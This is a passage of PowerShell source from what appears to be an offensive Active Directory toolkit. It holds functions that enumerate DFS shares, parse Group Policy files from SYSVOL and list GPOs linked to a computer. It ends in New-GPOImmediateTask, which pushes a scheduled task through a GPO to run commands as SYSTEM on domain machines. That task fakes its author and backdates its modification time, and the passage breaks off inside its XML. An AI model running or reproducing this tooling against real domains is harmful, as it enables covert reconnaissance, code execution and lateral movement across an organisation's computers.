4903 Returns a list of all fault-tolerant distributed file
4904 systems for a given domain.
4905 .PARAMETER Version
4906 The version of DFS to query for servers.
4907 1/v1, 2/v2, or all
4908 .PARAMETER Domain
4909 The domain to query for user DFS shares, defaults to the current domain.
4910 .PARAMETER DomainController
4911 Domain controller to reflect LDAP queries through.
4912 .PARAMETER ADSpath
4913 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
4914 Useful for OU queries.
4915 .PARAMETER PageSize
4916 The PageSize to set for the LDAP searcher object.
4917 .PARAMETER Credential
4918 A [Management.Automation.PSCredential] object of alternate credentials
4919 for connection to the target domain.
4920 .EXAMPLE
4921 PS C:\> Get-DFSshare
4922 Returns all distributed file system shares for the current domain.
4923 .EXAMPLE
4924 PS C:\> Get-DFSshare -Domain test
4925 Returns all distributed file system shares for the 'test' domain.
4926#>
4927
4928 [CmdletBinding()]
4929 param(
4930 [String]
4931 [ValidateSet("All","V1","1","V2","2")]
4932 $Version = "All",
4933
4934 [String]
4935 $Domain,
4936
4937 [String]
4938 $DomainController,
4939
4940 [String]
4941 $ADSpath,
4942
4943 [ValidateRange(1,10000)]
4944 [Int]
4945 $PageSize = 200,
4946
4947 [Management.Automation.PSCredential]
4948 $Credential
4949 )
4950
4951 function Parse-Pkt {
4952 [CmdletBinding()]
4953 param(
4954 [byte[]]
4955 $Pkt
4956 )
4957
4958 $bin = $Pkt
4959 $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
4960 $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
4961 $offset = 8
4962 #https://msdn.microsoft.com/en-us/library/cc227147.aspx
4963 $object_list = @()
4964 for($i=1; $i -le $blob_element_count; $i++){
4965 $blob_name_size_start = $offset
4966 $blob_name_size_end = $offset + 1
4967 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
4968
4969 $blob_name_start = $blob_name_size_end + 1
4970 $blob_name_end = $blob_name_start + $blob_name_size - 1
4971 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
4972
4973 $blob_data_size_start = $blob_name_end + 1
4974 $blob_data_size_end = $blob_data_size_start + 3
4975 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
4976
4977 $blob_data_start = $blob_data_size_end + 1
4978 $blob_data_end = $blob_data_start + $blob_data_size - 1
4979 $blob_data = $bin[$blob_data_start..$blob_data_end]
4980 switch -wildcard ($blob_name) {
4981 "\siteroot" { }
4982 "\domainroot*" {
4983 # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
4984 # DFSRootOrLinkIDBlob
4985 $root_or_link_guid_start = 0
4986 $root_or_link_guid_end = 15
4987 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
4988 $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
4989 $prefix_size_start = $root_or_link_guid_end + 1
4990 $prefix_size_end = $prefix_size_start + 1
4991 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
4992 $prefix_start = $prefix_size_end + 1
4993 $prefix_end = $prefix_start + $prefix_size - 1
4994 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
4995
4996 $short_prefix_size_start = $prefix_end + 1
4997 $short_prefix_size_end = $short_prefix_size_start + 1
4998 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
4999 $short_prefix_start = $short_prefix_size_end + 1
5000 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
5001 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
5002
5003 $type_start = $short_prefix_end + 1
5004 $type_end = $type_start + 3
5005 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
5006
5007 $state_start = $type_end + 1
5008 $state_end = $state_start + 3
5009 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
5010
5011 $comment_size_start = $state_end + 1
5012 $comment_size_end = $comment_size_start + 1
5013 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
5014 $comment_start = $comment_size_end + 1
5015 $comment_end = $comment_start + $comment_size - 1
5016 if ($comment_size -gt 0) {
5017 $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
5018 }
5019 $prefix_timestamp_start = $comment_end + 1
5020 $prefix_timestamp_end = $prefix_timestamp_start + 7
5021 # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
5022 $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
5023 $state_timestamp_start = $prefix_timestamp_end + 1
5024 $state_timestamp_end = $state_timestamp_start + 7
5025 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
5026 $comment_timestamp_start = $state_timestamp_end + 1
5027 $comment_timestamp_end = $comment_timestamp_start + 7
5028 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
5029 $version_start = $comment_timestamp_end + 1
5030 $version_end = $version_start + 3
5031 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
5032
5033 # Parse rest of DFSNamespaceRootOrLinkBlob here
5034 $dfs_targetlist_blob_size_start = $version_end + 1
5035 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
5036 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
5037
5038 $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
5039 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
5040 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
5041 $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
5042 $reserved_blob_size_end = $reserved_blob_size_start + 3
5043 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
5044
5045 $reserved_blob_start = $reserved_blob_size_end + 1
5046 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
5047 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
5048 $referral_ttl_start = $reserved_blob_end + 1
5049 $referral_ttl_end = $referral_ttl_start + 3
5050 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
5051
5052 #Parse DFSTargetListBlob
5053 $target_count_start = 0
5054 $target_count_end = $target_count_start + 3
5055 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
5056 $t_offset = $target_count_end + 1
5057
5058 for($j=1; $j -le $target_count; $j++){
5059 $target_entry_size_start = $t_offset
5060 $target_entry_size_end = $target_entry_size_start + 3
5061 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
5062 $target_time_stamp_start = $target_entry_size_end + 1
5063 $target_time_stamp_end = $target_time_stamp_start + 7
5064 # FILETIME again or special if priority rank and priority class 0
5065 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
5066 $target_state_start = $target_time_stamp_end + 1
5067 $target_state_end = $target_state_start + 3
5068 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
5069
5070 $target_type_start = $target_state_end + 1
5071 $target_type_end = $target_type_start + 3
5072 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
5073
5074 $server_name_size_start = $target_type_end + 1
5075 $server_name_size_end = $server_name_size_start + 1
5076 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
5077
5078 $server_name_start = $server_name_size_end + 1
5079 $server_name_end = $server_name_start + $server_name_size - 1
5080 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
5081
5082 $share_name_size_start = $server_name_end + 1
5083 $share_name_size_end = $share_name_size_start + 1
5084 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
5085 $share_name_start = $share_name_size_end + 1
5086 $share_name_end = $share_name_start + $share_name_size - 1
5087 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
5088
5089 $target_list += "\\$server_name\$share_name"
5090 $t_offset = $share_name_end + 1
5091 }
5092 }
5093 }
5094 $offset = $blob_data_end + 1
5095 $dfs_pkt_properties = @{
5096 'Name' = $blob_name
5097 'Prefix' = $prefix
5098 'TargetList' = $target_list
5099 }
5100 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
5101 $prefix = $null
5102 $blob_name = $null
5103 $target_list = $null
5104 }
5105
5106 $servers = @()
5107 $object_list | ForEach-Object {
5108 if ($_.TargetList) {
5109 $_.TargetList | ForEach-Object {
5110 $servers += $_.split("\")[2]
5111 }
5112 }
5113 }
5114
5115 $servers
5116 }
5117
5118 function Get-DFSshareV1 {
5119 [CmdletBinding()]
5120 param(
5121 [String]
5122 $Domain,
5123
5124 [String]
5125 $DomainController,
5126
5127 [String]
5128 $ADSpath,
5129
5130 [ValidateRange(1,10000)]
5131 [Int]
5132 $PageSize = 200,
5133
5134 [Management.Automation.PSCredential]
5135 $Credential
5136 )
5137
5138 $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5139
5140 if($DFSsearcher) {
5141 $DFSshares = @()
5142 $DFSsearcher.filter = "(&(objectClass=fTDfs))"
5143
5144 try {
5145 $Results = $DFSSearcher.FindAll()
5146 $Results | Where-Object {$_} | ForEach-Object {
5147 $Properties = $_.Properties
5148 $RemoteNames = $Properties.remoteservername
5149 $Pkt = $Properties.pkt
5150
5151 $DFSshares += $RemoteNames | ForEach-Object {
5152 try {
5153 if ( $_.Contains('\') ) {
5154 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
5155 }
5156 }
5157 catch {
5158 Write-Verbose "Error in parsing DFS share : $_"
5159 }
5160 }
5161 }
5162 $Results.dispose()
5163 $DFSSearcher.dispose()
5164
5165 if($pkt -and $pkt[0]) {
5166 Parse-Pkt $pkt[0] | ForEach-Object {
5167 # If a folder doesn't have a redirection it will
5168 # have a target like
5169 # \\null\TestNameSpace\folder\.DFSFolderLink so we
5170 # do actually want to match on "null" rather than
5171 # $null
5172 if ($_ -ne "null") {
5173 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
5174 }
5175 }
5176 }
5177 }
5178 catch {
5179 Write-Warning "Get-DFSshareV1 error : $_"
5180 }
5181 $DFSshares | Sort-Object -Property "RemoteServerName"
5182 }
5183 }
5184
5185 function Get-DFSshareV2 {
5186 [CmdletBinding()]
5187 param(
5188 [String]
5189 $Domain,
5190
5191 [String]
5192 $DomainController,
5193
5194 [String]
5195 $ADSpath,
5196
5197 [ValidateRange(1,10000)]
5198 [Int]
5199 $PageSize = 200,
5200
5201 [Management.Automation.PSCredential]
5202 $Credential
5203 )
5204
5205 $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5206
5207 if($DFSsearcher) {
5208 $DFSshares = @()
5209 $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
5210 $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
5211
5212 try {
5213 $Results = $DFSSearcher.FindAll()
5214 $Results | Where-Object {$_} | ForEach-Object {
5215 $Properties = $_.Properties
5216 $target_list = $Properties.'msdfs-targetlistv2'[0]
5217 $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
5218 $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
5219 try {
5220 $Target = $_.InnerText
5221 if ( $Target.Contains('\') ) {
5222 $DFSroot = $Target.split("\")[3]
5223 $ShareName = $Properties.'msdfs-linkpathv2'[0]
5224 New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
5225 }
5226 }
5227 catch {
5228 Write-Verbose "Error in parsing target : $_"
5229 }
5230 }
5231 }
5232 $Results.dispose()
5233 $DFSSearcher.dispose()
5234 }
5235 catch {
5236 Write-Warning "Get-DFSshareV2 error : $_"
5237 }
5238 $DFSshares | Sort-Object -Unique -Property "RemoteServerName"
5239 }
5240 }
5241
5242 $DFSshares = @()
5243
5244 if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
5245 $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5246 }
5247 if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
5248 $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5249 }
5250
5251 $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
5252}
5253
5254
5255########################################################
5256#
5257# GPO related functions.
5258#
5259########################################################
5260
5261
5262filter Get-GptTmpl {
5263<#
5264 .SYNOPSIS
5265 Helper to parse a GptTmpl.inf policy file path into a custom object.
5266 .PARAMETER GptTmplPath
5267 The GptTmpl.inf file path name to parse.
5268 .PARAMETER UsePSDrive
5269 Switch. Mount the target GptTmpl folder path as a temporary PSDrive.
5270 .EXAMPLE
5271 PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
5272 Parse the default domain policy .inf for dev.testlab.local
5273#>
5274
5275 [CmdletBinding()]
5276 Param (
5277 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
5278 [String]
5279 $GptTmplPath,
5280
5281 [Switch]
5282 $UsePSDrive
5283 )
5284
5285 if($UsePSDrive) {
5286 # if we're PSDrives, create a temporary mount point
5287 $Parts = $GptTmplPath.split('\')
5288 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
5289 $FilePath = $Parts[-1]
5290 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
5291
5292 Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"
5293
5294 try {
5295 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
5296 }
5297 catch {
5298 Write-Verbose "Error mounting path $GptTmplPath : $_"
5299 return $Null
5300 }
5301
5302 # so we can cd/dir the new drive
5303 $TargetGptTmplPath = $RandDrive + ":\" + $FilePath
5304 }
5305 else {
5306 $TargetGptTmplPath = $GptTmplPath
5307 }
5308
5309 Write-Verbose "GptTmplPath: $GptTmplPath"
5310
5311 try {
5312 Write-Verbose "Parsing $TargetGptTmplPath"
5313 $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue
5314 }
5315 catch {
5316 Write-Verbose "Error parsing $TargetGptTmplPath : $_"
5317 }
5318
5319 if($UsePSDrive -and $RandDrive) {
5320 Write-Verbose "Removing temp PSDrive $RandDrive"
5321 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
5322 }
5323}
5324
5325
5326filter Get-GroupsXML {
5327<#
5328 .SYNOPSIS
5329 Helper to parse a groups.xml file path into a custom object.
5330 .PARAMETER GroupsXMLpath
5331 The groups.xml file path name to parse.
5332 .PARAMETER UsePSDrive
5333 Switch. Mount the target groups.xml folder path as a temporary PSDrive.
5334#>
5335
5336 [CmdletBinding()]
5337 Param (
5338 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
5339 [String]
5340 $GroupsXMLPath,
5341
5342 [Switch]
5343 $UsePSDrive
5344 )
5345
5346 if($UsePSDrive) {
5347 # if we're PSDrives, create a temporary mount point
5348 $Parts = $GroupsXMLPath.split('\')
5349 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
5350 $FilePath = $Parts[-1]
5351 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
5352
5353 Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"
5354
5355 try {
5356 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
5357 }
5358 catch {
5359 Write-Verbose "Error mounting path $GroupsXMLPath : $_"
5360 return $Null
5361 }
5362
5363 # so we can cd/dir the new drive
5364 $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
5365 }
5366 else {
5367 $TargetGroupsXMLPath = $GroupsXMLPath
5368 }
5369
5370 try {
5371 [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop
5372
5373 # process all group properties in the XML
5374 $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
5375
5376 $Groupname = $_.Properties.groupName
5377
5378 # extract the localgroup sid for memberof
5379 $GroupSID = $_.Properties.groupSid
5380 if(-not $GroupSID) {
5381 if($Groupname -match 'Administrators') {
5382 $GroupSID = 'S-1-5-32-544'
5383 }
5384 elseif($Groupname -match 'Remote Desktop') {
5385 $GroupSID = 'S-1-5-32-555'
5386 }
5387 elseif($Groupname -match 'Guests') {
5388 $GroupSID = 'S-1-5-32-546'
5389 }
5390 else {
5391 $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID
5392 }
5393 }
5394
5395 # extract out members added to this group
5396 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
5397 if($_.sid) { $_.sid }
5398 else { $_.name }
5399 }
5400
5401 if ($Members) {
5402
5403 # extract out any/all filters...I hate you GPP
5404 if($_.filters) {
5405 $Filters = $_.filters.GetEnumerator() | ForEach-Object {
5406 New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
5407 }
5408 }
5409 else {
5410 $Filters = $Null
5411 }
5412
5413 if($Members -isnot [System.Array]) { $Members = @($Members) }
5414
5415 $GPOGroup = New-Object PSObject
5416 $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
5417 $GPOGroup | Add-Member Noteproperty 'Filters' $Filters
5418 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
5419 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
5420 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null
5421 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members
5422 $GPOGroup
5423 }
5424 }
5425 }
5426 catch {
5427 Write-Verbose "Error parsing $TargetGroupsXMLPath : $_"
5428 }
5429
5430 if($UsePSDrive -and $RandDrive) {
5431 Write-Verbose "Removing temp PSDrive $RandDrive"
5432 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
5433 }
5434}
5435
5436
5437function Get-NetGPO {
5438<#
5439 .SYNOPSIS
5440 Gets a list of all current GPOs in a domain.
5441 .PARAMETER GPOname
5442 The GPO name to query for, wildcards accepted.
5443 .PARAMETER DisplayName
5444 The GPO display name to query for, wildcards accepted.
5445 .PARAMETER ComputerName
5446 Return all GPO objects applied to a given computer (FQDN).
5447 .PARAMETER Domain
5448 The domain to query for GPOs, defaults to the current domain.
5449 .PARAMETER DomainController
5450 Domain controller to reflect LDAP queries through.
5451 .PARAMETER ADSpath
5452 The LDAP source to search through
5453 e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
5454 .PARAMETER PageSize
5455 The PageSize to set for the LDAP searcher object.
5456 .PARAMETER Credential
5457 A [Management.Automation.PSCredential] object of alternate credentials
5458 for connection to the target domain.
5459 .EXAMPLE
5460 PS C:\> Get-NetGPO -Domain testlab.local
5461
5462 Returns the GPOs in the 'testlab.local' domain.
5463#>
5464 [CmdletBinding()]
5465 Param (
5466 [Parameter(ValueFromPipeline=$True)]
5467 [String]
5468 $GPOname = '*',
5469
5470 [String]
5471 $DisplayName,
5472
5473 [String]
5474 $ComputerName,
5475
5476 [String]
5477 $Domain,
5478
5479 [String]
5480 $DomainController,
5481
5482 [String]
5483 $ADSpath,
5484
5485 [ValidateRange(1,10000)]
5486 [Int]
5487 $PageSize = 200,
5488
5489 [Management.Automation.PSCredential]
5490 $Credential
5491 )
5492
5493 begin {
5494 $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5495 }
5496
5497 process {
5498 if ($GPOSearcher) {
5499
5500 if($ComputerName) {
5501 $GPONames = @()
5502 $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
5503
5504 if(!$Computers) {
5505 throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
5506 }
5507
5508 # get the given computer's OU
5509 $ComputerOUs = @()
5510 ForEach($Computer in $Computers) {
5511 # extract all OUs a computer is a part of
5512 $DN = $Computer.distinguishedname
5513
5514 $ComputerOUs += $DN.split(",") | ForEach-Object {
5515 if($_.startswith("OU=")) {
5516 $DN.substring($DN.indexof($_))
5517 }
5518 }
5519 }
5520
5521 Write-Verbose "ComputerOUs: $ComputerOUs"
5522
5523 # find all the GPOs linked to the computer's OU
5524 ForEach($ComputerOU in $ComputerOUs) {
5525 $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
5526 # get any GPO links
5527 write-verbose "blah: $($_.name)"
5528 $_.gplink.split("][") | ForEach-Object {
5529 if ($_.startswith("LDAP")) {
5530 $_.split(";")[0]
5531 }
5532 }
5533 }
5534 }
5535
5536 Write-Verbose "GPONames: $GPONames"
5537
5538 # find any GPOs linked to the site for the given computer
5539 $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
5540 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
5541 $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
5542 if($_.gplink) {
5543 $_.gplink.split("][") | ForEach-Object {
5544 if ($_.startswith("LDAP")) {
5545 $_.split(";")[0]
5546 }
5547 }
5548 }
5549 }
5550 }
5551
5552 $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
5553
5554 # use the gplink as an ADS path to enumerate all GPOs for the computer
5555 $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
5556 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
5557
5558 try {
5559 $Results = $GPOSearcher.FindAll()
5560 $Results | Where-Object {$_} | ForEach-Object {
5561 $Out = Convert-LDAPProperty -Properties $_.Properties
5562 $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
5563 $Out
5564 }
5565 $Results.dispose()
5566 $GPOSearcher.dispose()
5567 }
5568 catch {
5569 Write-Warning $_
5570 }
5571 }
5572 }
5573
5574 else {
5575 if($DisplayName) {
5576 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
5577 }
5578 else {
5579 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
5580 }
5581
5582 try {
5583 $Results = $GPOSearcher.FindAll()
5584 $Results | Where-Object {$_} | ForEach-Object {
5585 if($ADSPath -and ($ADSpath -Match '^GC://')) {
5586 $Properties = Convert-LDAPProperty -Properties $_.Properties
5587 try {
5588 $GPODN = $Properties.distinguishedname
5589 $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
5590 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"
5591 $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
5592 $Properties
5593 }
5594 catch {
5595 $Properties
5596 }
5597 }
5598 else {
5599 # convert/process the LDAP fields for each result
5600 Convert-LDAPProperty -Properties $_.Properties
5601 }
5602 }
5603 $Results.dispose()
5604 $GPOSearcher.dispose()
5605 }
5606 catch {
5607 Write-Warning $_
5608 }
5609 }
5610 }
5611 }
5612}
5613
5614
5615function New-GPOImmediateTask {
5616<#
5617 .SYNOPSIS
5618 Builds an 'Immediate' schtask to push out through a specified GPO.
5619 .PARAMETER TaskName
5620 Name for the schtask to recreate. Required.
5621 .PARAMETER Command
5622 The command to execute with the task, defaults to 'powershell'
5623 .PARAMETER CommandArguments
5624 The arguments to supply to the -Command being launched.
5625 .PARAMETER TaskDescription
5626 An optional description for the task.
5627 .PARAMETER TaskAuthor
5628
5629 The displayed author of the task, defaults to ''NT AUTHORITY\System'
5630 .PARAMETER TaskModifiedDate
5631
5632 The displayed modified date for the task, defaults to 30 days ago.
5633 .PARAMETER GPOname
5634 The GPO name to build the task for.
5635 .PARAMETER GPODisplayName
5636 The GPO display name to build the task for.
5637 .PARAMETER Domain
5638 The domain to query for the GPOs, defaults to the current domain.
5639 .PARAMETER DomainController
5640 Domain controller to reflect LDAP queries through.
5641 .PARAMETER ADSpath
5642 The LDAP source to search through
5643 e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
5644 .PARAMETER Credential
5645 A [Management.Automation.PSCredential] object of alternate credentials
5646 for connection to the target.
5647 .EXAMPLE
5648 PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force
5649 Create an immediate schtask that executes the specified PowerShell arguments and
5650 push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.
5651 .EXAMPLE
5652 PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force
5653 Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.
5654#>
5655 [CmdletBinding(DefaultParameterSetName = 'Create')]
5656 Param (
5657 [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
5658 [String]
5659 [ValidateNotNullOrEmpty()]
5660 $TaskName,
5661
5662 [Parameter(ParameterSetName = 'Create')]
5663 [String]
5664 [ValidateNotNullOrEmpty()]
5665 $Command = 'powershell',
5666
5667 [Parameter(ParameterSetName = 'Create')]
5668 [String]
5669 [ValidateNotNullOrEmpty()]
5670 $CommandArguments,
5671
5672 [Parameter(ParameterSetName = 'Create')]
5673 [String]
5674 [ValidateNotNullOrEmpty()]
5675 $TaskDescription = '',
5676
5677 [Parameter(ParameterSetName = 'Create')]
5678 [String]
5679 [ValidateNotNullOrEmpty()]
5680 $TaskAuthor = 'NT AUTHORITY\System',
5681
5682 [Parameter(ParameterSetName = 'Create')]
5683 [String]
5684 [ValidateNotNullOrEmpty()]
5685 $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
5686
5687 [Parameter(ParameterSetName = 'Create')]
5688 [Parameter(ParameterSetName = 'Remove')]
5689 [String]
5690 $GPOname,
5691
5692 [Parameter(ParameterSetName = 'Create')]
5693 [Parameter(ParameterSetName = 'Remove')]
5694 [String]
5695 $GPODisplayName,
5696
5697 [Parameter(ParameterSetName = 'Create')]
5698 [Parameter(ParameterSetName = 'Remove')]
5699 [String]
5700 $Domain,
5701
5702 [Parameter(ParameterSetName = 'Create')]
5703 [Parameter(ParameterSetName = 'Remove')]
5704 [String]
5705 $DomainController,
5706
5707 [Parameter(ParameterSetName = 'Create')]
5708 [Parameter(ParameterSetName = 'Remove')]
5709 [String]
5710 $ADSpath,
5711
5712 [Parameter(ParameterSetName = 'Create')]
5713 [Parameter(ParameterSetName = 'Remove')]
5714 [Switch]
5715 $Force,
5716
5717 [Parameter(ParameterSetName = 'Remove')]
5718 [Switch]
5719 $Remove,
5720
5721 [Parameter(ParameterSetName = 'Create')]
5722 [Parameter(ParameterSetName = 'Remove')]
5723 [Management.Automation.PSCredential]
5724 $Credential
5725 )
5726
5727 # build the XML spec for our 'immediate' scheduled task
5728 $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT 